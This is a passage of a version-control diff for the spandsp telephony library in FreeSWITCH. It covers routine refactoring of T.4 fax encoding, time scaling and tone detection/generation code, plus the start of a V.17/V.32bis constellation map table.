-	        This mode is identified when the position of b2 lies to the left of a1. When this mode
+        a)  Pass mode
+            This mode is identified when the position of b2 lies to the left of a1. When this mode
             has been coded, a0 is set on the element of the coding line below b2 in preparation for
             the next coding (i.e. on a0').
             
@@ -1478,16 +1757,16 @@
                                 Not pass mode
 
 
-        b)	Vertical mode
-	        When this mode is identified, the position of a1 is coded relative to the position of b1.
+        b)  Vertical mode
+            When this mode is identified, the position of a1 is coded relative to the position of b1.
             The relative distance a1b1 can take on one of seven values V(0), VR(1), VR(2), VR(3),
             VL(1), VL(2) and VL(3), each of which is represented by a separate code word. The
             subscripts R and L indicate that a1 is to the right or left respectively of b1, and the
             number in brackets indicates the value of the distance a1b1. After vertical mode coding
             has occurred, the position of a0 is set on a1 (see figure below).
 
-        c)	Horizontal mode
-	        When this mode is identified, both the run-lengths a0a1 and a1a2 are coded using the code
+        c)  Horizontal mode
+            When this mode is identified, both the run-lengths a0a1 and a1a2 are coded using the code
             words H + M(a0a1) + M(a1a2). H is the flag code word 001 taken from the two-dimensional
             code table. M(a0a1) and M(a1a2) are code words which represent the length and "colour"
             of the runs a0a1 and a1a2 respectively and are taken from the appropriate white or black
@@ -1571,11 +1850,11 @@
             b_cursor |= 1;
         else
             b_cursor &= ~1;
-        if (a0 < s->ref_runs[b_cursor])
+        if (a0 < (int) s->ref_runs[b_cursor])
         {
             for (  ;  b_cursor >= 0;  b_cursor -= 2)
             {
-                if (a0 >= s->ref_runs[b_cursor])
+                if (a0 >= (int) s->ref_runs[b_cursor])
                     break;
             }
             b_cursor += 2;
@@ -1584,7 +1863,7 @@
         {
             for (  ;  b_cursor < s->ref_steps;  b_cursor += 2)
             {
-                if (a0 < s->ref_runs[b_cursor])
+                if (a0 < (int) s->ref_runs[b_cursor])
                     break;
             }
             if (b_cursor >= s->ref_steps)
@@ -1666,7 +1945,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t4_tx_set_row_read_handler(t4_state_t *s, t4_row_read_handler_t handler, void *user_data)
+SPAN_DECLARE(int) t4_tx_set_row_read_handler(t4_state_t *s, t4_row_read_handler_t handler, void *user_data)
 {
     s->row_read_handler = handler;
     s->row_read_user_data = user_data;
@@ -1674,10 +1953,15 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-t4_state_t *t4_tx_init(t4_state_t *s, const char *file, int start_page, int stop_page)
+SPAN_DECLARE(t4_state_t *) t4_tx_init(t4_state_t *s, const char *file, int start_page, int stop_page)
 {
     int run_space;
 
+    if (s == NULL)
+    {
+        if ((s = (t4_state_t *) malloc(sizeof(*s))) == NULL)
+            return NULL;
+    }
     memset(s, 0, sizeof(*s));
     span_log_init(&s->logging, SPAN_LOG_NONE, NULL);
     span_log_set_protocol(&s->logging, "T.4");
@@ -1688,9 +1972,12 @@
     if (open_tiff_input_file(s, file) < 0)
         return NULL;
     s->file = strdup(file);
+    s->current_page =
     s->start_page = (start_page >= 0)  ?  start_page  :  0;
     s->stop_page = (stop_page >= 0)  ?  stop_page : INT_MAX;
 
+    if (!TIFFSetDirectory(s->tiff.tiff_file, (tdir_t) s->current_page))
+        return NULL;
     if (get_tiff_directory_info(s))
     {
         close_tiff_input_file(s);
@@ -1699,7 +1986,6 @@
 
     s->rows_to_next_1d_row = s->max_rows_to_next_1d_row - 1;
 
-    s->pages_transferred = s->start_page;
     s->pages_in_file = -1;
 
     run_space = (s->image_width + 4)*sizeof(uint32_t);
@@ -1758,46 +2044,50 @@
              tm.tm_hour,
              tm.tm_min,
              s->header_info,
-             s->local_ident,
-             s->pages_transferred + 1);
+             s->tiff.local_ident,
+             s->current_page + 1);
 }
 /*- End of function --------------------------------------------------------*/
 
-int t4_tx_start_page(t4_state_t *s)
+SPAN_DECLARE(int) t4_tx_start_page(t4_state_t *s)
 {
     int row;
     int i;
     int repeats;
     int pattern;
     int row_bufptr;
-    int parm;
     int run_space;
     int len;
+    int old_image_width;
     char *t;
     char header[132 + 1];
     uint8_t *bufptr8;
     uint32_t *bufptr;
 
-    span_log(&s->logging, SPAN_LOG_FLOW, "Start tx page %d\n", s->pages_transferred);
-    if (s->pages_transferred > s->stop_page)
+    span_log(&s->logging, SPAN_LOG_FLOW, "Start tx page %d\n", s->current_page);
+    if (s->current_page > s->stop_page)
         return -1;
-    if (s->tiff_file == NULL)
+    if (s->tiff.tiff_file == NULL)
         return -1;
-    if (!TIFFSetDirectory(s->tiff_file, (tdir_t) s->pages_transferred))
-        return -1;
+    old_image_width = s->image_width;
+    if (s->row_read_handler == NULL)
+    {
+#if defined(HAVE_LIBTIFF)
+        if (!TIFFSetDirectory(s->tiff.tiff_file, (tdir_t) s->current_page))
+            return -1;
+        get_tiff_directory_info(s);
+#endif
+    }
     s->image_size = 0;
     s->tx_bitstream = 0;
     s->tx_bits = 0;
     s->row_is_2d = (s->line_encoding == T4_COMPRESSION_ITU_T6);
     s->rows_to_next_1d_row = s->max_rows_to_next_1d_row - 1;
 
-    /* Allow for pages being of different width */
-    parm = 0;
-    TIFFGetField(s->tiff_file, TIFFTAG_IMAGEWIDTH, &parm);
-    run_space = (parm + 4)*sizeof(uint32_t);
-    if (parm != s->image_width)
+    /* Allow for pages being of different width. */
+    run_space = (s->image_width + 4)*sizeof(uint32_t);
+    if (old_image_width != s->image_width)
     {
-        s->image_width = parm;
         s->bytes_per_row = (s->image_width + 7)/8;
 
         if ((bufptr = (uint32_t *) realloc(s->cur_runs, run_space)) == NULL)
@@ -1885,35 +2175,26 @@
     }
     else
     {
-        s->image_length = 0;
-        TIFFGetField(s->tiff_file, TIFFTAG_IMAGELENGTH, &s->image_length);
-        for (row = 0;  row < s->image_length;  row++)
-        {
-            if (TIFFReadScanline(s->tiff_file, s->row_buf, row, 0) <= 0)
-            {
-                span_log(&s->logging, SPAN_LOG_WARNING, "%s: Read error at row %d.\n", s->file, row);
-                break;
-            }
-            if (encode_row(s))
-                return -1;
-        }
+        if ((s->image_length = read_tiff_image(s)) < 0)
+            return -1;
     }
     if (s->line_encoding == T4_COMPRESSION_ITU_T6)
     {
-        /* Attach an EOFB (end of facsimile block) to the end of the page */
-        encode_eol(s);
-        encode_eol(s);
+        /* Attach an EOFB (end of facsimile block == 2 x EOLs) to the end of the page */
+        for (i = 0;  i < EOLS_TO_END_T6_TX_PAGE;  i++)
+            encode_eol(s);
     }
     else
     {
-        /* Attach a return to control (RTC == 6 x EOLs) to the end of the page */
+        /* Attach an RTC (return to control == 6 x EOLs) to the end of the page */
         s->row_is_2d = FALSE;
-        for (i = 0;  i < 6;  i++)
+        for (i = 0;  i < EOLS_TO_END_T4_TX_PAGE;  i++)
             encode_eol(s);
     }
 
-    /* Force any partial byte in progress to flush */
-    put_encoded_bits(s, 0, 7);
+    /* Force any partial byte in progress to flush using ones. Any post EOL padding when
+       sending is normally ones, so this is consistent. */
+    put_encoded_bits(s, 0xFF, 7);
     s->bit_pos = 7;
     s->bit_ptr = 0;
     s->line_image_size = s->image_size*8;
@@ -1922,28 +2203,26 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t4_tx_more_pages(t4_state_t *s)
+SPAN_DECLARE(int) t4_tx_next_page_has_different_format(t4_state_t *s)
 {
-    span_log(&s->logging, SPAN_LOG_FLOW, "Checking for the existance of page %d\n", s->pages_transferred + 1);
-    if (s->pages_transferred >= s->stop_page)
+    span_log(&s->logging, SPAN_LOG_FLOW, "Checking for the existance of page %d\n", s->current_page + 1);
+    if (s->current_page >= s->stop_page)
         return -1;
-    if (s->tiff_file == NULL)
-        return -1;
-    if (s->pages_in_file >= 0)
+    if (s->row_read_handler == NULL)
     {
-        if (s->pages_transferred + 1 >= s->pages_in_file)
+#if defined(HAVE_LIBTIFF)
+        if (s->tiff.tiff_file == NULL)
             return -1;
-    }
-    else
-    {
-        if (!TIFFSetDirectory(s->tiff_file, (tdir_t) s->pages_transferred + 1))
+        if (!TIFFSetDirectory(s->tiff.tiff_file, (tdir_t) s->current_page + 1))
             return -1;
+        return test_tiff_directory_info(s);
+#endif
     }
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-int t4_tx_restart_page(t4_state_t *s)
+SPAN_DECLARE(int) t4_tx_restart_page(t4_state_t *s)
 {
     s->bit_pos = 7;
     s->bit_ptr = 0;
@@ -1951,14 +2230,14 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t4_tx_end_page(t4_state_t *s)
+SPAN_DECLARE(int) t4_tx_end_page(t4_state_t *s)
 {
-    s->pages_transferred++;
+    s->current_page++;
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-int t4_tx_get_bit(t4_state_t *s)
+SPAN_DECLARE(int) t4_tx_get_bit(t4_state_t *s)
 {
     int bit;
 
@@ -1974,7 +2253,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t4_tx_get_byte(t4_state_t *s)
+SPAN_DECLARE(int) t4_tx_get_byte(t4_state_t *s)
 {
     if (s->bit_ptr >= s->image_size)
         return 0x100;
@@ -1982,7 +2261,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t4_tx_get_chunk(t4_state_t *s, uint8_t buf[], int max_len)
+SPAN_DECLARE(int) t4_tx_get_chunk(t4_state_t *s, uint8_t buf[], int max_len)
 {
     if (s->bit_ptr >= s->image_size)
         return 0;
@@ -1994,7 +2273,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t4_tx_check_bit(t4_state_t *s)
+SPAN_DECLARE(int) t4_tx_check_bit(t4_state_t *s)
 {
     int bit;
 
@@ -2005,28 +2284,28 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t4_tx_delete(t4_state_t *s)
+SPAN_DECLARE(int) t4_tx_release(t4_state_t *s)
 {
-    if (t4_tx_end(s))
+    if (s->rx)
         return -1;
+    if (s->tiff.tiff_file)
+        close_tiff_input_file(s);
     free_buffers(s);
-    free(s);
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-int t4_tx_end(t4_state_t *s)
+SPAN_DECLARE(int) t4_tx_free(t4_state_t *s)
 {
-    if (s->rx)
-        return -1;
-    if (s->tiff_file)
-        close_tiff_input_file(s);
-    free_buffers(s);
-    return 0;
+    int ret;
+
+    ret = t4_tx_release(s);
+    free(s);
+    return ret;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t4_tx_set_tx_encoding(t4_state_t *s, int encoding)
+SPAN_DECLARE(void) t4_tx_set_tx_encoding(t4_state_t *s, int encoding)
 {
     s->line_encoding = encoding;
     s->rows_to_next_1d_row = s->max_rows_to_next_1d_row - 1;
@@ -2034,63 +2313,64 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void t4_tx_set_min_row_bits(t4_state_t *s, int bits)
+SPAN_DECLARE(void) t4_tx_set_min_row_bits(t4_state_t *s, int bits)
 {
     s->min_bits_per_row = bits;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t4_tx_set_local_ident(t4_state_t *s, const char *ident)
+SPAN_DECLARE(void) t4_tx_set_local_ident(t4_state_t *s, const char *ident)
 {
-    s->local_ident = (ident  &&  ident[0])  ?  ident  :  NULL;
+    s->tiff.local_ident = (ident  &&  ident[0])  ?  ident  :  NULL;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t4_tx_set_header_info(t4_state_t *s, const char *info)
+SPAN_DECLARE(void) t4_tx_set_header_info(t4_state_t *s, const char *info)
 {
     s->header_info = (info  &&  info[0])  ?  info  :  NULL;
 }
 /*- End of function --------------------------------------------------------*/
 
-int t4_tx_get_y_resolution(t4_state_t *s)
+SPAN_DECLARE(int) t4_tx_get_y_resolution(t4_state_t *s)
 {
     return s->y_resolution;
 }
 /*- End of function --------------------------------------------------------*/
 
-int t4_tx_get_x_resolution(t4_state_t *s)
+SPAN_DECLARE(int) t4_tx_get_x_resolution(t4_state_t *s)
 {
     return s->x_resolution;
 }
 /*- End of function --------------------------------------------------------*/
 
-int t4_tx_get_image_width(t4_state_t *s)
+SPAN_DECLARE(int) t4_tx_get_image_width(t4_state_t *s)
 {
     return s->image_width;
 }
 /*- End of function --------------------------------------------------------*/
 
-int t4_tx_get_pages_in_file(t4_state_t *s)
+SPAN_DECLARE(int) t4_tx_get_pages_in_file(t4_state_t *s)
 {
     int max;
 
-    /* Each page *should* contain the total number of pages, but can this be
-       trusted? Some files say 0. Actually searching for the last page is
-       more reliable. */
     max = 0;
-    while (TIFFSetDirectory(s->tiff_file, (tdir_t) max))
-    	max++;
-    s->pages_in_file = max;
-    /* Back to the previous page */
-    if (!TIFFSetDirectory(s->tiff_file, (tdir_t) s->pages_transferred))
-        return -1;
+    if (s->row_write_handler == NULL)
+        max = get_tiff_total_pages(s);
+    if (max >= 0)
+        s->pages_in_file = max;
     return max;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t4_get_transfer_statistics(t4_state_t *s, t4_stats_t *t)
+SPAN_DECLARE(int) t4_tx_get_current_page_in_file(t4_state_t *s)
 {
-    t->pages_transferred = s->pages_transferred - s->start_page;
+    return s->current_page;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(void) t4_get_transfer_statistics(t4_state_t *s, t4_stats_t *t)
+{
+    t->pages_transferred = s->current_page - s->start_page;
     t->pages_in_file = s->pages_in_file;
     t->width = s->image_width;
     t->length = s->image_length;
@@ -2103,7 +2383,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-const char *t4_encoding_to_str(int encoding)
+SPAN_DECLARE(const char *) t4_encoding_to_str(int encoding)
 {
     switch (encoding)
     {

Modified: freeswitch/branches/seven/libs/spandsp/src/testcpuid.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/testcpuid.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/testcpuid.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -23,13 +23,13 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: testcpuid.c,v 1.12 2008/05/13 13:17:24 steveu Exp $
+ * $Id: testcpuid.c,v 1.13 2009/01/05 13:48:31 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <inttypes.h>

Modified: freeswitch/branches/seven/libs/spandsp/src/time_scale.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/time_scale.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/time_scale.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,13 +22,13 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: time_scale.c,v 1.24 2008/09/19 14:02:05 steveu Exp $
+ * $Id: time_scale.c,v 1.30 2009/02/10 13:06:47 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdlib.h>
@@ -38,18 +38,21 @@
 #include <fcntl.h>
 #include <time.h>
 #include <limits.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 
 #include "spandsp/telephony.h"
+#include "spandsp/fast_convert.h"
 #include "spandsp/time_scale.h"
 #include "spandsp/saturated.h"
 
+#include "spandsp/private/time_scale.h"
+
 /*
     Time scaling for speech, based on the Pointer Interval Controlled
     OverLap and Add (PICOLA) method, developed by Morita Naotaka.
@@ -97,7 +100,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int time_scale_rate(time_scale_state_t *s, float playout_rate)
+SPAN_DECLARE(int) time_scale_rate(time_scale_state_t *s, float playout_rate)
 {
     if (playout_rate <= 0.0f)
         return -1;
@@ -122,7 +125,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-time_scale_state_t *time_scale_init(time_scale_state_t *s, int sample_rate, float playout_rate)
+SPAN_DECLARE(time_scale_state_t *) time_scale_init(time_scale_state_t *s, int sample_rate, float playout_rate)
 {
     int alloced;
 
@@ -155,14 +158,20 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int time_scale_free(time_scale_state_t *s)
+SPAN_DECLARE(int) time_scale_release(time_scale_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) time_scale_free(time_scale_state_t *s)
+{
     free(s);
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-int time_scale(time_scale_state_t *s, int16_t out[], int16_t in[], int len)
+SPAN_DECLARE(int) time_scale(time_scale_state_t *s, int16_t out[], int16_t in[], int len)
 {
     double lcpf;
     int pitch;
@@ -270,9 +279,9 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int time_scale_max_output_len(time_scale_state_t *s, int input_len)
+SPAN_DECLARE(int) time_scale_max_output_len(time_scale_state_t *s, int input_len)
 {
-    return input_len*s->playout_rate + s->min_pitch + 1;
+    return (int) (input_len*s->playout_rate + s->min_pitch + 1);
 }
 /*- End of function --------------------------------------------------------*/
 /*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/tone_detect.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/tone_detect.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/tone_detect.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,10 +22,10 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: tone_detect.c,v 1.47 2008/07/02 14:48:26 steveu Exp $
+ * $Id: tone_detect.c,v 1.53 2009/04/12 09:12:10 steveu Exp $
  */
  
-/*! \file tone_detect.h */
+/*! \file */
 
 #if defined(HAVE_CONFIG_H)
 #include "config.h"
@@ -33,13 +33,13 @@
 
 #include <inttypes.h>
 #include <stdlib.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <string.h>
 #include <stdio.h>
 #include <time.h>
@@ -51,12 +51,14 @@
 #include "spandsp/tone_detect.h"
 #include "spandsp/tone_generate.h"
 
+#include "spandsp/private/tone_detect.h"
+
 #if !defined(M_PI)
 /* C99 systems may not define M_PI */
 #define M_PI 3.14159265358979323846264338327
 #endif
 
-void make_goertzel_descriptor(goertzel_descriptor_t *t, float freq, int samples)
+SPAN_DECLARE(void) make_goertzel_descriptor(goertzel_descriptor_t *t, float freq, int samples)
 {
 #if defined(SPANDSP_USE_FIXED_POINT)
     t->fac = 16383.0f*2.0f*cosf(2.0f*M_PI*(freq/(float) SAMPLE_RATE));
@@ -67,8 +69,8 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-goertzel_state_t *goertzel_init(goertzel_state_t *s,
-                                goertzel_descriptor_t *t)
+SPAN_DECLARE(goertzel_state_t *) goertzel_init(goertzel_state_t *s,
+                                               goertzel_descriptor_t *t)
 {
     if (s == NULL)
     {
@@ -89,8 +91,22 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void goertzel_reset(goertzel_state_t *s)
+SPAN_DECLARE(int) goertzel_release(goertzel_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) goertzel_free(goertzel_state_t *s)
+{
+    if (s)
+        free(s);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(void) goertzel_reset(goertzel_state_t *s)
+{
 #if defined(SPANDSP_USE_FIXED_POINT)
     s->v2 =
     s->v3 = 0;
@@ -102,9 +118,9 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int goertzel_update(goertzel_state_t *s,
-                    const int16_t amp[],
-                    int samples)
+SPAN_DECLARE(int) goertzel_update(goertzel_state_t *s,
+                                  const int16_t amp[],
+                                  int samples)
 {
     int i;
 #if defined(SPANDSP_USE_FIXED_POINT)
@@ -137,9 +153,9 @@
 /*- End of function --------------------------------------------------------*/
 
 #if defined(SPANDSP_USE_FIXED_POINT)
-int32_t goertzel_result(goertzel_state_t *s)
+SPAN_DECLARE(int32_t) goertzel_result(goertzel_state_t *s)
 #else
-float goertzel_result(goertzel_state_t *s)
+SPAN_DECLARE(float) goertzel_result(goertzel_state_t *s)
 #endif
 {
 #if defined(SPANDSP_USE_FIXED_POINT)
@@ -184,7 +200,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-complexf_t periodogram(const complexf_t coeffs[], const complexf_t amp[], int len)
+SPAN_DECLARE(complexf_t) periodogram(const complexf_t coeffs[], const complexf_t amp[], int len)
 {
     complexf_t sum;
     complexf_t diff;
@@ -203,7 +219,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int periodogram_prepare(complexf_t sum[], complexf_t diff[], const complexf_t amp[], int len)
+SPAN_DECLARE(int) periodogram_prepare(complexf_t sum[], complexf_t diff[], const complexf_t amp[], int len)
 {
     int i;
 
@@ -216,7 +232,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-complexf_t periodogram_apply(const complexf_t coeffs[], const complexf_t sum[], const complexf_t diff[], int len)
+SPAN_DECLARE(complexf_t) periodogram_apply(const complexf_t coeffs[], const complexf_t sum[], const complexf_t diff[], int len)
 {
     complexf_t x;
     int i;
@@ -231,7 +247,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int periodogram_generate_coeffs(complexf_t coeffs[], float freq, int sample_rate, int window_len)
+SPAN_DECLARE(int) periodogram_generate_coeffs(complexf_t coeffs[], float freq, int sample_rate, int window_len)
 {
     float window;
     float sum;
@@ -260,7 +276,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-float periodogram_generate_phase_offset(complexf_t *offset, float freq, int sample_rate, int interval)
+SPAN_DECLARE(float) periodogram_generate_phase_offset(complexf_t *offset, float freq, int sample_rate, int interval)
 {
     float x;
 
@@ -272,7 +288,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-float periodogram_freq_error(const complexf_t *phase_offset, float scale, const complexf_t *last_result, const complexf_t *result)
+SPAN_DECLARE(float) periodogram_freq_error(const complexf_t *phase_offset, float scale, const complexf_t *last_result, const complexf_t *result)
 {
     complexf_t prediction;
 

Modified: freeswitch/branches/seven/libs/spandsp/src/tone_generate.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/tone_generate.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/tone_generate.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: tone_generate.c,v 1.46 2008/09/11 15:13:42 steveu Exp $
+ * $Id: tone_generate.c,v 1.53 2009/06/02 16:03:56 steveu Exp $
  */
 
 /*! \file */
@@ -37,20 +37,23 @@
 #include <stdio.h>
 #include <time.h>
 #include <fcntl.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 
 #include "spandsp/telephony.h"
+#include "spandsp/fast_convert.h"
 #include "spandsp/dc_restore.h"
 #include "spandsp/complex.h"
 #include "spandsp/dds.h"
 #include "spandsp/tone_generate.h"
 
+#include "spandsp/private/tone_generate.h"
+
 #if !defined(M_PI)
 /* C99 systems may not define M_PI */
 #define M_PI 3.14159265358979323846264338327
@@ -58,16 +61,16 @@
 
 #define ms_to_samples(t)            (((t)*SAMPLE_RATE)/1000)
 
-void make_tone_gen_descriptor(tone_gen_descriptor_t *s,
-                              int f1,
-                              int l1,
-                              int f2,
-                              int l2,
-                              int d1,
-                              int d2,
-                              int d3,
-                              int d4,
-                              int repeat)
+SPAN_DECLARE(void) make_tone_gen_descriptor(tone_gen_descriptor_t *s,
+                                            int f1,
+                                            int l1,
+                                            int f2,
+                                            int l2,
+                                            int d1,
+                                            int d2,
+                                            int d3,
+                                            int d4,
+                                            int repeat)
 {
     memset(s, 0, sizeof(*s));
     if (f1)
@@ -104,7 +107,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-tone_gen_state_t *tone_gen_init(tone_gen_state_t *s, tone_gen_descriptor_t *t)
+SPAN_DECLARE(tone_gen_state_t *) tone_gen_init(tone_gen_state_t *s, tone_gen_descriptor_t *t)
 {
     int i;
 
@@ -126,8 +129,22 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int tone_gen(tone_gen_state_t *s, int16_t amp[], int max_samples)
+SPAN_DECLARE(int) tone_gen_release(tone_gen_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) tone_gen_free(tone_gen_state_t *s)
+{
+    if (s)
+        free(s);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE_NONSTD(int) tone_gen(tone_gen_state_t *s, int16_t amp[], int max_samples)
+{
     int samples;
     int limit;
 #if defined(SPANDSP_USE_FIXED_POINT)
@@ -168,7 +185,7 @@
 #else
                     xamp = dds_modf(&s->phase[0], -s->tone[0].phase_rate, s->tone[0].gain, 0)
                          *(1.0f + dds_modf(&s->phase[1], s->tone[1].phase_rate, s->tone[1].gain, 0));
-                    amp[samples] = (int16_t) lrintf(xamp);
+                    amp[samples] = (int16_t) lfastrintf(xamp);
 #endif
                 }
             }
@@ -198,7 +215,7 @@
 #if defined(SPANDSP_USE_FIXED_POINT)
                     amp[samples] = xamp;
 #else
-                    amp[samples] = (int16_t) lrintf(xamp);
+                    amp[samples] = (int16_t) lfastrintf(xamp);
 #endif
                 }
             }

Copied: freeswitch/branches/seven/libs/spandsp/src/v17_v32bis_rx_constellation_maps.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/v17_v32bis_rx_constellation_maps.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/v17_v32bis_rx_constellation_maps.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/v17_v32bis_rx_constellation_maps.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,5517 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * v17rx_v32bis_constellation_maps.h - ITU V.17 and V.32bis modems
+ *                                     receive part.
+ *                                     Constellation mapping.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2004 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: v17_v32bis_rx_constellation_maps.h,v 1.1 2009/06/02 11:51:57 steveu Exp $
+ */
+
+/* The following table maps the 8 soft-decisions associated with every possible point in the
+   constellation space. If you look at the constellations carefully, all 4 can be accurately
+   mapped at 0.5 unit resolution. */
+static const uint8_t constel_maps[4][36][36][8] =
+{
+    {   /* 14,400bps map */
+        {
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x50, 0x69, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x6c, 0x55, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x4c, 0x05, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x4c, 0x05, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x4c, 0x05, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x4c, 0x05, 0x66, 0x5f},
+            {0x00, 0x49, 0x5a, 0x63, 0x4c, 0x05, 0x66, 0x5f},
+            {0x00, 0x49, 0x7a, 0x63, 0x4c, 0x05, 0x66, 0x5f},
+            {0x00, 0x49, 0x7a, 0x63, 0x4c, 0x05, 0x66, 0x5f},
+            {0x00, 0x49, 0x7a, 0x73, 0x4c, 0x05, 0x66, 0x7f},
+            {0x00, 0x49, 0x7a, 0x73, 0x4c, 0x05, 0x66, 0x7f},
+            {0x08, 0x49, 0x7a, 0x73, 0x4c, 0x05, 0x76, 0x7f},
+            {0x08, 0x49, 0x7a, 0x73, 0x4c, 0x05, 0x76, 0x7f},
+            {0x08, 0x41, 0x7a, 0x73, 0x4c, 0x0d, 0x76, 0x7f},
+            {0x08, 0x41, 0x7a, 0x73, 0x4c, 0x0d, 0x76, 0x7f},
+            {0x08, 0x41, 0x6a, 0x73, 0x44, 0x0d, 0x76, 0x7f},
+            {0x08, 0x41, 0x6a, 0x73, 0x44, 0x0d, 0x76, 0x7f},
+            {0x08, 0x41, 0x6a, 0x53, 0x44, 0x0d, 0x76, 0x6f},
